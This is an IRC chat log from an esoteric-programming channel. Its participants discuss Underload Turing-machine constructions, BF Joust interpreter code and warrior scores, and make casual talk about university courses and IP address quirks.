03:48:30 <oerjan> drugs?
03:48:47 <quintopia> pfft, i'm sure he can get access to drugs on his one
03:48:49 <quintopia> *own
03:48:51 <oerjan> tiny little hairy gnomes?
03:48:55 <quintopia> at least the kind he needs
03:48:57 <quintopia> oh maybe
03:49:00 <elliott> MY BEHAVIOUR SHOULD CONVEY THE KNOWLEDGE THAT I HAVE A PERFECTLY ADEQUATE SUPPLY OF DRUGS OR DRUG-LIKE EFFECT-MAKERS (SUCH AS MY OWN INSANITY)
03:49:05 <elliott> GNOMES ARE GOOD
03:49:43 <quintopia> elliott: would not an adequate supply of the correct drugs counteract your own insanity?
03:49:54 <elliott> quintopia: i'm all about standards-incompliance(=== incorrecntess )
03:49:59 <elliott> looks like ( lis p )
03:50:44 <oerjan> elliott: anyway it is perfectly possible to make things such that ) only knows where ( is when it is jumping to it, and it can share the field for this pointer with the pointer to } in the other case.
03:50:58 <elliott> oerjan: SOUNDS COMPLICATEDSCARY
03:51:14 <elliott> i will saneify it. some day
03:51:28 <oerjan> i.e. ) for * knows where ( is, ) for % knows where } is, but ) doesn't actually need to know which case it's in...
03:52:20 <oerjan> meanwhile ( for * is implemented exactly as } for %.
03:53:10 <oerjan> it is possible to turn this around and letting ( always be the same while ) varies.
03:53:21 <elliott> that's how i did it.
03:53:23 <elliott> tuuuuurny
03:53:33 <elliott> case REPEAT:
03:53:34 <elliott> /* Don't handle *0 here; that's removed during parsing */
03:53:34 <elliott> ins->iter = 0;
03:53:35 <elliott> w->ip++;
03:53:37 <elliott> goto again;
03:53:39 <oerjan> then ) for * would be exactly like {, i think
03:53:39 <elliott> case TAEPER: {
03:53:41 <elliott> ins_t *repeat = &w->prog[ins->jump];
03:53:43 <elliott> if (repeat->has_once) {
03:53:45 <elliott> if (--repeat->iter >= 0)
03:53:47 <elliott> w->ip = ins->jump;
03:53:49 <elliott> } else if (++repeat->iter < (int) repeat->repeat)
03:53:51 <elliott> w->ip = ins->jump;
03:53:53 <elliott> w->ip++;
03:53:55 <elliott> goto again;
03:53:57 <elliott> }
03:53:59 <elliott> case ONCE:
03:54:01 <elliott> if (++w->prog[ins->jump].iter < (int) w->prog[ins->jump].repeat)
03:54:05 <elliott> w->ip = ins->jump;
03:54:07 <elliott> w->ip++;
03:54:09 <elliott> goto again;
03:54:11 <elliott> case ECNO:
03:54:13 <elliott> /* is this line a fix? or a bug? */
03:54:15 <elliott> w->prog[ins->jump].iter = w->prog[ins->jump].repeat - 1;
03:54:17 <elliott> w->ip++;
03:54:19 <elliott> goto again;
03:54:21 <elliott> oh man
03:54:23 <elliott> that's a flood i didn't even realise
03:54:25 <elliott> good thing no cool dudes are talking
03:54:33 <elliott> oh man
03:54:35 <elliott> oerjan
03:54:38 <elliott> it throttled me!
03:55:59 <oerjan> ...
03:56:13 <elliott> oerjan: http://sprunge.us/aaSc
03:56:14 <elliott> the magic code
03:56:16 <elliott> of perfectness
03:59:10 <oerjan> food ->
04:00:47 <elliott> oerjan: bad.
04:02:29 -!- azaq23 has quit (Ping timeout: 276 seconds).
04:06:04 <oerjan> *munch*
04:06:17 <quintopia> omnom
04:07:04 <elliott> nomom
04:09:13 <quintopia> On mom nom!
04:14:29 -!- augur has quit (Remote host closed the connection).
04:14:39 <elliott> this "reading Homestuck" idea was really hilariously ill-advised, 4:40 am is a time i should be sleeping
04:14:42 <elliott> [[The sylladex reconfigures itself into an ARRAY of distinct QUEUESTACKS.
04:14:42 <elliott> Now we're talking. This is just the sort of needless complexity you have come to expect from your INVENTORY MANAGEMENT SYSTEM.]]
04:14:44 <elliott> but how could i stop
04:17:03 <Gregor> !bfjoust furry_furry_nipple_clamp_girls <
04:17:03 <Sgeo> I have an exam in a business subject
04:17:29 <Sgeo> I haven't particularly touched the textbook
04:17:37 <Sgeo> I have no idea what's going on
04:17:46 <Sgeo> I have homework due in that class and another class
04:18:09 <Sgeo> All the business courses are the same to me
04:18:14 <Sgeo> Buzzword filled bullshit
04:18:51 <Sgeo> Gnatt charts and everything has input and ouutput and technology can give a competitive advantage
04:19:14 <Sgeo> Oh, and learn how to write incident reports
04:19:52 <Sgeo> Sgeo attended school. He then proceeded to die. Causes: Boredom.
04:20:33 <Sgeo> Causes: Not giving two filesystem checks about the material
04:20:51 <elliott> <Sgeo> I'm complaining about the fact that my incomprehensibly shitty university, due to being incomprehensibly shitty, requires me to take more business courses than mathematics courses to get a useless degree; however rectifying this situation sounds harder than complaining about it, so I will do the latter.
04:20:54 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 0.0
04:22:55 <elliott> quintopia: if you, too, told Sgeo how shitty his university is, we could have a grand old partying time of saying things to Sgeo to which he pays no heed
04:23:18 <Sgeo> Anyone willing to try to convince my dad abouut this?
04:27:39 <pikhq> Gregor: Just tell Sgeo's dad the odds of Sgeo getting into any CS grad program.
04:29:11 <elliott> Sgeo: YOU ARE NOT YOUR FATHER.
04:29:34 <quintopia> elliott: i've already told him before
04:29:37 <quintopia> just assume i said it
04:29:42 <elliott> Considering the abject idiocy your father has demonstrated over the past N time intervals, some "random dude from the internet" convincing him that you're wasting your time has a probability of roughly ZERO.
04:29:53 <elliott> Unless you start being more independent and taking matters into your own damn hands it's hopeless.
04:29:58 <elliott> quintopia: yeah. i guess. sigh
04:31:01 <elliott> ok. this is the end of the line. reading more webcomics: NOT AN OPTION. it is instead time to go unconscious.
04:31:25 <quintopia> bye
04:34:52 -!- augur has joined.
04:37:02 -!- elliott has quit (Ping timeout: 276 seconds).
04:39:21 <oerjan> ^ul (^!!)(((( 1)S(^!!)~(^)~:^^)(!~(:^!^)~^^^)(!!~(:^!!^)~^^!^))(!(( )S(^!!)~:^^)(!~(:^!^)~^^!^)(!!~(:^!^)~^^^))(!!(~(:^!!^)~^^!!^)(!(0)S(^!)~:^^)(!!(1)S(^)~:^^))):^^!^!!^
04:39:22 <fungot> 0 1 10 11 100 101 110 111 1000 1001 1010 1011 1100 1101 1110 1111 10000 10001 10010 10011 10100 10101 10110 10111 11000 11001 11010 11011 11100 11101 11110 11111 100000 100001 100010 100011 100100 100101 100110 100111 101000 101001 101010 101011 101100 101101 101110 101111 110000 110001 110010 110011 110100 110101 110110 1 ...too much output!
04:39:36 <oerjan> yay worked first time
04:40:31 <Sgeo> FFS
04:40:53 <Sgeo> When I first saw that, I was trying to process that as the look and say sequence
04:40:59 <Sgeo> I'm losing it
04:41:20 <oerjan> heh :D
04:41:53 <quintopia> oerjan: now do decimal
04:41:58 <Sgeo> oerjan, it is now your job to write an underload program that does the look and say sequence first time
04:42:06 <quintopia> oerjan: i mean, hexadecimal
04:42:09 <oerjan> quintopia: i already did decimal, it's on the wiki
04:43:24 <oerjan> Sgeo: um isn't that a bit late to get right the first time given i already got it right after several false starts?
04:43:37 <Sgeo> Ah, darn.
04:43:59 <oerjan> anyway the point of the program above isn't really what it outputs...
04:44:03 <Sgeo> I'm too tired to eat
04:46:07 <quintopia> (!~(:^!^)~^^!^) what is this thing you keep repeating
04:46:59 <Sgeo> Is it just me, or is the cosmological theorem a bit... pompously named?
04:47:13 <quintopia> heh
04:47:13 <oerjan> Sgeo: that's conway for you
04:47:18 <quintopia> it makes sense though
04:48:50 <oerjan> quintopia: that in particular is a command, when the current token is no. 1, to keep it as 1, go left, and into state 1.
04:49:14 -!- copumpkin has joined.
04:49:29 <quintopia> did you compile that program from another language?
04:49:31 <oerjan> the 1's are the counts of consecutive !'s.
04:49:35 <oerjan> no.
04:49:39 <quintopia> oh
04:49:57 <oerjan> i just wrote up a simple turing machine for binary counting
04:50:09 <quintopia> so it's a turing machine simulated in underload
04:50:13 <oerjan> yep
04:50:18 <quintopia> how close are you to a UTM?
04:50:25 <oerjan> this is completely general
04:50:52 <quintopia> so you'd just need the code to convert an encoded TM into this form?
04:51:12 <oerjan> that could be done yes
04:51:20 <quintopia> and then convert that into a TM?
04:51:22 <quintopia> wait
04:51:42 <quintopia> there are already fully specified UTMs out there
04:51:48 <oerjan> well duh
04:51:50 <quintopia> you could just encode one of those XD
04:51:55 * quintopia was being stupid
04:52:08 <oerjan> i don't consider the particular TM so important here, as long as the method is general.
04:52:42 <oerjan> also there is more to that program than just what it simulates...
04:52:51 * oerjan is being mysterious
04:53:41 <quintopia> yeah. you really want me to analyze the fucker don't you?
04:54:24 <oerjan> not really, just take a look at what it _isn't_...
04:55:44 <oerjan> or rather, what isn't there
04:57:13 <quintopia> no quoting
04:58:21 <quintopia> which means that you never had to build a new program...it only ever reuses the stuff you pushed originally
04:58:32 <oerjan> yep!
04:58:44 <oerjan> no a or * commands
04:59:03 <quintopia> but it makes sense you should be able to build a TM that way
04:59:19 <quintopia> but it's a neat way to show that underload has more commands than necessary i suppose
04:59:41 <oerjan> and also, i'm not finished yet...
04:59:52 <quintopia> you gonna eliminate something else
05:00:05 <oerjan> but the last step requires me to do a verbose program transformation
05:00:44 <oerjan> also must use less legible output
05:00:50 <quintopia> so it'll get really long
05:00:53 <oerjan> but given that, i can also eliminate !
05:01:50 <quintopia> oh, are you gonna encode the data directly into the program chunks? it makes sense that should be possible since S and ^ already pop the stack...
05:02:04 <oerjan> technically S is also not necessary purely for computation
05:02:09 <quintopia> sure
05:02:16 <quintopia> but it's awful handy :P
05:02:21 <oerjan> i am using S only for output in this, not for simulating !
05:02:43 <quintopia> sure
05:03:42 <quintopia> i was just saying that it makes since that such a powerful stackpopping command as ^ should be able to take up the place of !
05:03:51 <quintopia> (at the expense of verboseness)
05:04:01 <oerjan> yeah that's essentially what i do
05:04:44 <oerjan> the only way to remove stuff without ! is to have a way of _running_ it into nothing
05:06:16 <oerjan> for a hint of the verboseness, it takes 24 extra characters just to concatenate two subprograms
05:06:44 -!- pikhq_ has joined.
05:07:06 <oerjan> so a list of n commands transforms into what each command transforms into, plus 24*(n-1) characters of scaffolding
05:07:11 -!- pikhq has quit (Ping timeout: 264 seconds).
05:08:02 <quintopia> so do it. put it on the wiki. lemme see.
05:08:08 <quintopia> can you transform it programmatically?
05:08:25 <oerjan> yes, in fact it's too arduous to do any other way, i think
05:08:46 <oerjan> i just need to write the program
05:09:51 <quintopia> is there a reasonable way to add interactive input to underload?
05:10:00 <oerjan> not that i know of
05:10:42 <oerjan> maybe you could do something similar to unlambda's @ and ?x commands, but it would still feel like a wart on the language
05:11:11 <quintopia> seems like there should be some way of encoding the input and just pushing it onto the stack
05:11:39 <oerjan> the problem is that underload has no way of analysing an arbitrary string
05:12:11 <quintopia> right. but couldn't you just have it push one character, as a number in some canonical form?
05:12:24 <oerjan> presumably
05:12:30 -!- pikhq_ has left (?).
05:12:32 -!- pikhq_ has joined.
05:12:39 <pikhq_> Linear algebra is so fucking tedious.
05:12:51 <oerjan> but since it would not be in the same format as the string it would still be a wart
05:12:51 <quintopia> man i loved linear algebra
05:12:56 <quintopia> it was the best part of calc 3
05:12:59 -!- pikhq_ has changed nick to pikhq.
05:13:02 <pikhq> quintopia: ... ?
05:13:33 <quintopia> writing an algorithm to compute the jacobian...writing one to compress images using SVD...
05:13:37 <quintopia> it was fun stuff
05:14:01 <pikhq> I'm having to do row reduction by hand.
05:14:04 <quintopia> oh
05:14:19 <pikhq> I fail to see the fucking point after, say, the second matrix.
05:14:22 <quintopia> i wrote a program to do it for me and display all the steps to copy down in high school
05:14:24 <oerjan> heh
05:14:27 <quintopia> never had to do that shit again
05:15:28 -!- pikhq_ has joined.
05:15:51 <quintopia> it wrote out the operation to perform in a long list as a menu, and selecting each menu item displayed the resulting matrix after that operation, and the last one said whether it was consistent, inconsistent or whatever the third thing was...
05:16:27 <quintopia> i wrote it in TI-89 BASIC :P
05:17:00 <pikhq_> Why did anyone ever think that performing an algorithm manually has value?
05:17:47 <oerjan> computer _was_ a human employment once, you know
05:18:00 <quintopia> what do you mean "did"?
05:18:04 <quintopia> people still think that
05:18:28 <pikhq_> oerjan: Oh, right, decades ago.
05:18:40 <quintopia> people are pushing the schools to just have the kindergartens teach the addition algorithm, and not do all the exploration they do now that explains *why* the addition algorithm works
05:18:45 <oerjan> pikhq_: your definition of "ever" needs some adjustment :D
05:18:48 -!- pikhq has quit (Ping timeout: 250 seconds).
05:19:08 <quintopia> so does his internet connection
05:19:14 <pikhq_> oerjan: It certainly has never had any pedagogical value.
05:19:50 <pikhq_> Value when computation was defined by a piece of paper, perhaps.
05:19:58 <pikhq_> But pedagogical? Fuck that shit.
05:20:17 <pikhq_> quintopia: But explaining why the algorithm works is the only bit that has much value!
05:20:27 <quintopia> pikhq_: you're preaching to the choir
05:20:45 <quintopia> talk to these ridiculous parents and school board members
05:25:15 <oerjan> ^ul (( )S)(^!!)(((~:^~(~)S(^!!)~(^)~:^^)(!~(:^!^)~^^^)(!!~(:^!!^)~^^!^))(!(~:^~(^!!)~:^^)(!~(:^!^)~^^!^)(!!~(:^!^)~^^^))(!!(~(:^!!^)~^^!!^)(!(:)S(^!)~:^^)(!!(~)S(^)~:^^))):^^!^!!^
05:25:16 <fungot> : ~ ~: ~~ ~:: ~:~ ~~: ~~~ ~::: ~::~ ~:~: ~:~~ ~~:: ~~:~ ~~~: ~~~~ ~:::: ~:::~ ~::~: ~::~~ ~:~:: ~:~:~ ~:~~: ~:~~~ ~~::: ~~::~ ~~:~: ~~:~~ ~~~:: ~~~:~ ~~~~: ~~~~~ ~::::: ~::::~ ~:::~: ~:::~~ ~::~:: ~::~:~ ~::~~: ~::~~~ ~:~::: ~:~::~ ~:~:~: ~:~:~~ ~:~~:: ~:~~:~ ~:~~~: ~:~~~~ ~~:::: ~~:::~ ~~::~: ~~::~~ ~~:~:: ~~:~:~ ~~:~~: ~ ...too much output!
05:25:35 <quintopia> nice
05:25:46 * quintopia high fives
05:26:20 <oerjan> this should be convertible
05:26:24 <quintopia> lemme see the expansion without the ! then
05:26:34 <oerjan> um i haven't done that program yet
05:26:36 <quintopia> oh
05:26:41 <oerjan> this is just slight preparation
05:27:11 <oerjan> there is just no way to be able to print all of space, 0 and 1 repeatedly with this scheme
05:27:49 <oerjan> the space can only be handled because the command to print that stays out of the way at the left and can just be copied and run each time it's needed
05:28:28 <oerjan> which means that string never has to be deleted
05:30:52 <quintopia> right
05:31:22 <quintopia> so you're going to print commands you later use? :P
05:31:33 <oerjan> hm?
05:32:53 <quintopia> actually, it's not clear
05:33:29 <quintopia> you have to keep repushing the strings to be printed to the stack every time you want to use them, right now
05:34:09 <oerjan> yes. but i have programs for printing each of the characters :^~ which _can_ be deleted with ^
05:34:32 <oerjan> ~ is the simplest, (~)S actually converts to S
05:35:03 <oerjan> there can be no such program for a string which contains a non-command character
05:35:27 <oerjan> to delete a program completely using only ^, _every_ single substring will have to also be run
05:35:55 <oerjan> (ok not only ^ but avoiding a*!)
05:36:15 <oerjan> er, avoiding !
05:36:16 <quintopia> wait. (~)S converts to S? i'm getting more confused :/
05:36:38 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
05:37:01 <quintopia> i should write some underload programs before trying to understand this
05:37:01 <oerjan> the way the conversion works is that each program takes an extra argument on top of stack, which is either () for deleting itself or (~) for running normally
05:37:04 -!- Lymia_ has joined.
05:37:22 <quintopia> oh that kinda makes since
05:37:23 <quintopia> sense
05:37:24 <oerjan> and it turns out that converting (~)S to S does exactly this
05:37:48 <quintopia> hmm
05:38:01 <oerjan> it's the simplest conversion by far :D
05:38:27 -!- Lymia has quit (Disconnected by services).
05:38:27 -!- Lymia_ has changed nick to Lymia.
05:38:28 -!- Lymia has quit (Changing host).
05:38:28 -!- Lymia has joined.
05:38:36 <oerjan> the others are not that nice. (:)S becomes ()~(^)~(:)~()~^S^^
05:38:59 <oerjan> and (^)S is even longer
05:39:31 <oerjan> it is of course possible i've missed some simpler possibility
05:40:08 <oerjan> oh wait right
05:40:16 <oerjan> ~ itself converts just to ^
05:40:27 <oerjan> i actually missed that one for a while
05:46:09 -!- aloril has quit (Ping timeout: 264 seconds).
05:48:44 -!- Lymia has quit (Read error: Connection reset by peer).
05:58:37 -!- aloril has joined.
06:06:33 -!- oerjan has quit (Quit: Good night).
06:27:32 -!- aloril has quit (Ping timeout: 264 seconds).
06:41:16 -!- aloril has joined.
07:00:42 <lifthrasiir> /sb c
07:06:39 <quintopia> hmmm
07:43:39 <quintopia> i have a bf joust melee spec now
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:32:25 -!- GreaseMonkey has quit (Quit: The Other Game).
09:03:08 -!- pikhq_ has quit (Ping timeout: 246 seconds).
09:03:24 -!- pikhq has joined.
09:35:50 <Ilari> Heh. More bogon use for 1.1.1.1: Reject-routing it. :-)
09:36:28 <Ilari> For when you need to point something to reject-routed address in hosts file (reject routing yields very fast TCP connect() failure).
09:39:06 <fizzie> Couldn't you do that just as well with a private-use RFC1918 IP?
09:40:23 <Ilari> Well, 1.1.1.1 is easier to type. :-)
09:40:33 <fizzie> Compared to 10.10.10.10?-)
09:41:58 <fizzie> Heh, so they got 50 Mbps of traffic into 1.1.1.0/24 and 1.2.3.0/24 back in Feb 2010.
09:46:00 <fizzie> http://labs.ripe.net/Members/franz/content-pollution-18 -- strange-ish UDP port 15206 traffic.
10:17:18 <fizzie> Oh, so it's misconfigured VOIP stuff mostly. Heh.
10:34:30 -!- sebbu has quit (Ping timeout: 241 seconds).
10:39:25 -!- iconmaster has joined.
10:40:05 -!- iconmaster has quit (Client Quit).
10:48:24 -!- cheater00 has quit (Ping timeout: 240 seconds).
10:50:38 -!- cheater00 has joined.
11:05:12 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:05:42 -!- cheater- has joined.
11:24:23 -!- cheater- has quit (Ping timeout: 240 seconds).
11:25:39 -!- FireFly has joined.
11:26:39 -!- cheater- has joined.
11:27:52 -!- pikhq has quit (Ping timeout: 255 seconds).
11:27:55 -!- pikhq_ has joined.
11:35:23 -!- hiato has quit (Ping timeout: 246 seconds).
11:39:40 -!- BeholdMyGlory has joined.
11:47:36 -!- hiato has joined.
11:50:19 -!- ais523_ has joined.
11:51:19 -!- sebbu has joined.
11:51:19 -!- sebbu has quit (Changing host).
11:51:20 -!- sebbu has joined.
11:56:03 -!- hiato has quit (Quit: underflow).
12:34:55 -!- ais523_ has quit (Quit: Page closed).
12:47:05 -!- poiuy_qwert has quit (Ping timeout: 250 seconds).
13:27:43 -!- asiekierka has joined.
13:27:52 -!- augur has quit (Remote host closed the connection).
13:41:58 -!- copumpkin has joined.
13:53:34 -!- Zuu has quit (Read error: Connection reset by peer).
13:55:03 <quintopia> hey fizzie. wanna hear a joke?
13:56:07 <fizzie> Sure.
13:56:17 <quintopia> elliott will finish lance tonight
13:57:19 -!- Zuu has joined.
13:58:05 -!- poiuy_qwert has joined.
13:58:45 <fizzie> Hee-eh, eheh. Well, stranger things have happened. There once was a horse named a senator.
13:59:39 <quintopia> how awesome is cranklance?
14:00:18 <fizzie> I'm not terribly confident it's totally bugless.
14:00:30 -!- augur has joined.
14:00:46 <quintopia> what's it written in?
14:01:05 <fizzie> C as well. It's one of those computed-goto driven things where the BF ops are turned into pointers-to-labels.
14:01:29 <fizzie> There's a copy at http://zem.fi/~fis/cranklance-beta.tar.gz that's more or less the latest.
14:02:07 <quintopia> seem slike it'd be difficult to do the repeat stuff correctly in such a model
14:02:17 <quintopia> i'll check it out
14:02:26 -!- asiekierka has quit (Ping timeout: 250 seconds).
14:03:27 <fizzie> It uses the stackful oerjan method of doing (...{...}...)%n constructions. Though I guess it could as well use the Gregor method of sticking a counter in the instruction bf-op structure; I keep those around too, for jump offsets.
14:03:43 -!- asiekierka has joined.
14:04:47 <quintopia> i couldn't begin to guess which of those is actually the better option
14:05:10 <quintopia> elliott obviously believes it's gregor's
14:06:00 <fizzie> The stack construct was inherited from chainlance, because (what with all the x86-64 regs) there I managed to stuff pretty much all state into dedicated registers, and therefore kept the top-of-repeat-stack values in registers too.
14:08:53 <quintopia> how do chain/crank compare on speed?
14:13:54 <fizzie> Cranklance seems faster on real code, while chainlance executes some benchmarks like ". vs ." fastest.
14:14:35 <quintopia> hmm
14:15:41 <fizzie> It doesn't generate exactly the same results on all code than egojoust, but that might easily be due egojoust messiness too. I should probably validate against egojsout with a command-line JavaScript engine or something, if that's feasible.
14:16:55 <fizzie> I don't know how tightly coupled egojsout UI stuff is with the code-execution stuff. Maybe it's cleanly separated. (Maybe not.)
14:17:23 <quintopia> or do it manuallly. there are a few peograms coomplicated enough to surely catch all the messy edge cases
14:19:57 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
14:25:02 -!- ais523_ has joined.
14:26:28 <quintopia> sup
14:29:39 <Vorpal> fizzie, why js? Is egojsout js?
14:29:52 <quintopia> lol
14:30:00 <ais523_> hmm, does anyone here know if nvcc (the Nvidia C compiler) is purely in-house, or based on one of the other major compilers?
14:30:00 <Vorpal> and how does egojsout relate to egojoust?
14:30:08 <quintopia> it's not called egojsout for nothing
14:30:19 <ais523_> Vorpal: have you been, umm, not following anything happening in this channel for the past week?
14:30:26 <Vorpal> quintopia, well that much I gather. What are you differences though?
14:30:36 <ais523_> anyway, ego = created by Gregor, corruption of joust = it's a BF Joust interp, js = it's written in JavaScript
14:30:36 <Vorpal> ais523_, not really no. Been very busy with university stuff
14:30:51 <Vorpal> ais523_, augh the pun
14:30:58 <quintopia> :D
14:31:01 <ais523_> see http://www.esolangs.org/wiki/BF_Joust_strategies
14:31:09 <quintopia> punning has the hacker nature
14:31:18 <ais523_> the external links to examples there go to egojsout, set to make animaions
14:31:20 <ais523_> *animations
14:32:21 <Vorpal> ais523_, the animations are pretty. But what do they mean
14:32:36 <ais523_> height of a line = value of cell
14:32:39 <ais523_> flags are at each end
14:32:42 <ais523_> in different colors
14:32:49 <ais523_> and the squares in the middle show the location of data pointers
14:32:53 <Vorpal> ah
14:33:01 <quintopia> vorpla: yes, what do they mean? what does any of this mean? is there a reason we are alive?
14:35:27 <Vorpal> !bfjoust
14:35:35 <Vorpal> well, where is the link?
14:35:37 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
14:35:39 <Vorpal> ah
14:36:03 -!- ais523_ has quit (Quit: Page closed).
14:47:35 -!- oerjan has joined.
15:01:30 -!- variable has quit (Remote host closed the connection).
15:03:13 -!- pikhq_ has quit (Read error: Operation timed out).
15:03:36 -!- pikhq has joined.
15:03:40 -!- variable has joined.
15:13:03 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:17:33 -!- MigoMipo has joined.
15:23:01 -!- ais523 has joined.
15:30:46 -!- asiekierka has quit (Remote host closed the connection).
15:30:55 -!- asiekierka has joined.
15:32:50 -!- yorick has joined.
15:35:31 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/eKWa
15:36:21 <Gregor> wtf, seems it didn't parse.
15:36:37 * Sgeo had no idea that Gregor was hetero
15:37:17 <Gregor> Oh, never mind, it hadn't even started yet X-D
15:37:55 <Gregor> Sgeo: <3 how femdom-inspired warrior naming is your evidence :P
15:39:18 <Gregor> lol, overoptimized to the high-ranked ones maybe
15:39:50 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 43.0
15:40:00 <Gregor> Hm, not as good as I was hoping.
15:40:13 <Gregor> !bfjoust furry_furry_strapon_pegging_girls <3
15:40:19 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 0.0
15:40:21 <Sgeo> lol
15:42:37 * Gregor adds something really stupid that will probably win him tons of points
15:42:54 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/FBQD
15:44:22 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 37.6
15:44:37 <Gregor> Hm, or not :P
15:45:32 <Gregor> !bfjoust furry_furry_strapon_pegging_girls <3
15:45:37 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 0.0
15:46:36 <Gregor> ais523: With Deewiant_allegro so tuned to this hill, and so little churn in the hill, I don't think it's possible to unseat his lead.
15:46:54 <Gregor> But that's just a broad, silly complaint :P
15:47:24 <quintopia> yes it's quite silly
15:48:36 <quintopia> sir, may i ask one small thing of you? can you add a button to egojsout to make it stop generating a trace, for when i only want the animation? lock programs take so many thousands of cycles that i just get tired of waiting...
15:55:04 <Gregor> The frames for the animation are generated at the same time as the trace, if you stop it then you won't have a complete animation.
15:56:03 <quintopia> then just stop displaying them and compute them silently. that would go faster wouldn't it?
15:56:11 <ais523> Gregor: I'm waiting for a better interp
15:56:18 <ais523> then I can try to unseat allegro
15:56:22 <Gregor> ais523: Aren't we all :P
15:56:50 <quintopia> of course it would go faster
15:57:06 <quintopia> egojsout can compute all the runs of a given match in the time it takes to display one long trace
15:58:58 <quintopia> i think i could unseat him. i have some ideas. it'd be a hella long program though XD
15:59:14 <quintopia> i'll wait til my AWESOME NEW SCORING SYSTEM gets written :P
16:00:07 -!- sebbu2 has joined.
16:00:07 -!- sebbu2 has quit (Changing host).
16:00:07 -!- sebbu2 has joined.
16:03:27 -!- cheater- has quit (Ping timeout: 240 seconds).
16:03:40 <Gregor> !bfjoust mess_with_Deewiant (>[(<)*1(<(+)*37<(-)*37)*2(>)*11([(+)*37[-]]>)*21]+)*21
16:03:42 -!- sebbu has quit (Ping timeout: 250 seconds).
16:04:23 <EgoBot> Score for Gregor_mess_with_Deewiant: 24.6
16:04:46 <quintopia> you should probably repeat that 29 times XD
16:04:53 -!- cheater- has joined.
16:05:00 <Gregor> quintopia: I am messing ONLY with Deewiant :P
16:05:13 <Deewiant> Meanie :-P
16:05:18 <Gregor> In fact it'll suicide against most everyone else.
16:05:21 <Gregor> !bfjoust mess_with_Deewiant (>[(<)*1(<(+)*37<(-)*37)*2(>)*11([(+)*37[-]]>)*29]+)*29
16:05:23 <Gregor> But fine
16:05:32 <EgoBot> Score for Gregor_mess_with_Deewiant: 26.6
16:05:56 <Deewiant> Sloth beats it so it's not a completely successful messing
16:06:03 <quintopia> :D
16:06:06 <Gregor> Deewiant: REALLY I was only messing with the top two :P
16:06:10 <quintopia> sloth. what a crazy idea.
16:06:14 <Gregor> The fact that it beat the other Deewiants was just a coincidence.
16:06:57 <Gregor> Note the (>)*11 in the middle of my oh-so-brilliant algorithm :P
16:07:38 <Gregor> I found him here, so go six cells past there, then ... :P
16:08:07 <Gregor> !bfjoust mess_with_Deewiant (>[(<)*1(<(+)*85<(-)*85)*2(>)*11([(+)*37[-]]>)*29]+)*29
16:08:11 <Gregor> (Just for yukks)
16:08:13 -!- azaq23 has joined.
16:08:15 <EgoBot> Score for Gregor_mess_with_Deewiant: 25.8
16:08:19 <Gregor> D'aww :(
16:08:22 <Gregor> !bfjoust mess_with_Deewiant (>[(<)*1(<(+)*37<(-)*37)*2(>)*11([(+)*37[-]]>)*29]+)*29
16:09:22 <quintopia> the maxim holds: smaller decoys are better, as long as they are bigger than standard offset sizes
16:09:22 <EgoBot> Score for Gregor_mess_with_Deewiant: 26.6
16:09:24 <Deewiant> I think you want decoys of size 18
16:10:02 <quintopia> In fact, that should go on the wiki
16:10:08 <Gregor> Deewiant: Your offsets are 30...
16:10:15 <Deewiant> No they're not
16:10:16 <Gregor> Nowait
16:10:19 <Gregor> Oh I totally misread :P
16:10:25 <Gregor> !bfjoust mess_with_Deewiant (>[(<)*1(<(+)*17<(-)*17)*2(>)*11([(+)*37[-]]>)*29]+)*29
16:10:27 <Deewiant> Gregor: You're beating FFLDG, you noticed?
16:10:36 <Deewiant> So this is somewhat counterproductive ;-)
16:10:43 <Gregor> Deewiant: I'm beating a lot of things that make a lot of decoys, since I just hop right past 'em :P
16:10:56 <Gregor> Deewiant: Besides, I've got a different trick up my sleeve I'm still working on.
16:11:08 <EgoBot> Score for Gregor_mess_with_Deewiant: 25.2
16:11:19 <Gregor> *eh*
16:11:22 <Gregor> !bfjoust mess_with_Deewiant (>[(<)*1(<(+)*37<(-)*37)*2(>)*11([(+)*37[-]]>)*29]+)*29
16:11:28 <EgoBot> Score for Gregor_mess_with_Deewiant: 26.6
16:11:29 <Deewiant> Gregor: I'm not sure why but I ran it in egojsout and 18 works better against allegro
16:11:33 <Deewiant> Than 17
16:11:43 <Gregor> Oh, probably because I set a trail :P
16:11:49 <Gregor> So sometimes that 17 would be 16 :P
16:11:55 <Deewiant> Right
16:11:57 <Gregor> !bfjoust mess_with_Deewiant (>[(<)*1(<(+)*18<(-)*18)*2(>)*11([(+)*37[-]]>)*29]+)*29
16:12:02 <EgoBot> Score for Gregor_mess_with_Deewiant: 26.2
16:14:50 -!- sebbu2 has changed nick to sebbu.
16:15:07 <oerjan> <quintopia> the maxim holds: smaller decoys are better, as long as they are bigger than standard offset sizes <-- at the same time, smaller offsets are better when there are no decoys; this gives at least one rock/paper/scissors relationship doesn't it?
16:15:37 <Gregor> I think our rock/paper/scissors has about seven more layers than your conventional RPS game :P
16:16:01 <oerjan> Gregor: sure, i expect bfjoust has _several_ interacting RPS subfeatures
16:17:04 <oerjan> i'm beginning to understand that bfjoust is a rather deep game
16:17:11 <quintopia> oerjan: it's not really, no. it's just one of those game theory things. the best decoy size is one more than the opponent's offset size, and the best offset size is one more than the opponent's decoy size. it's a sort of traveller's dilemma
16:17:17 <oerjan> (even without even playing it)
16:17:55 <quintopia> s/one more than opponent's decoy size/the same as opponent's decoy size/
16:18:29 <oerjan> ^help
16:18:29 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
16:19:13 <Gregor> I wonder how severely our hill would change if we just swapped everybody's inner clear algorithm for ([[-]>]>)*29 :P
16:19:22 <oerjan> ^show
16:19:22 <fungot> echo reverb rev rot13 rev2 fib wc ul cho choo pow2 source help hw srmlebac uenlsbcmra scramble unscramble asc ord tmp
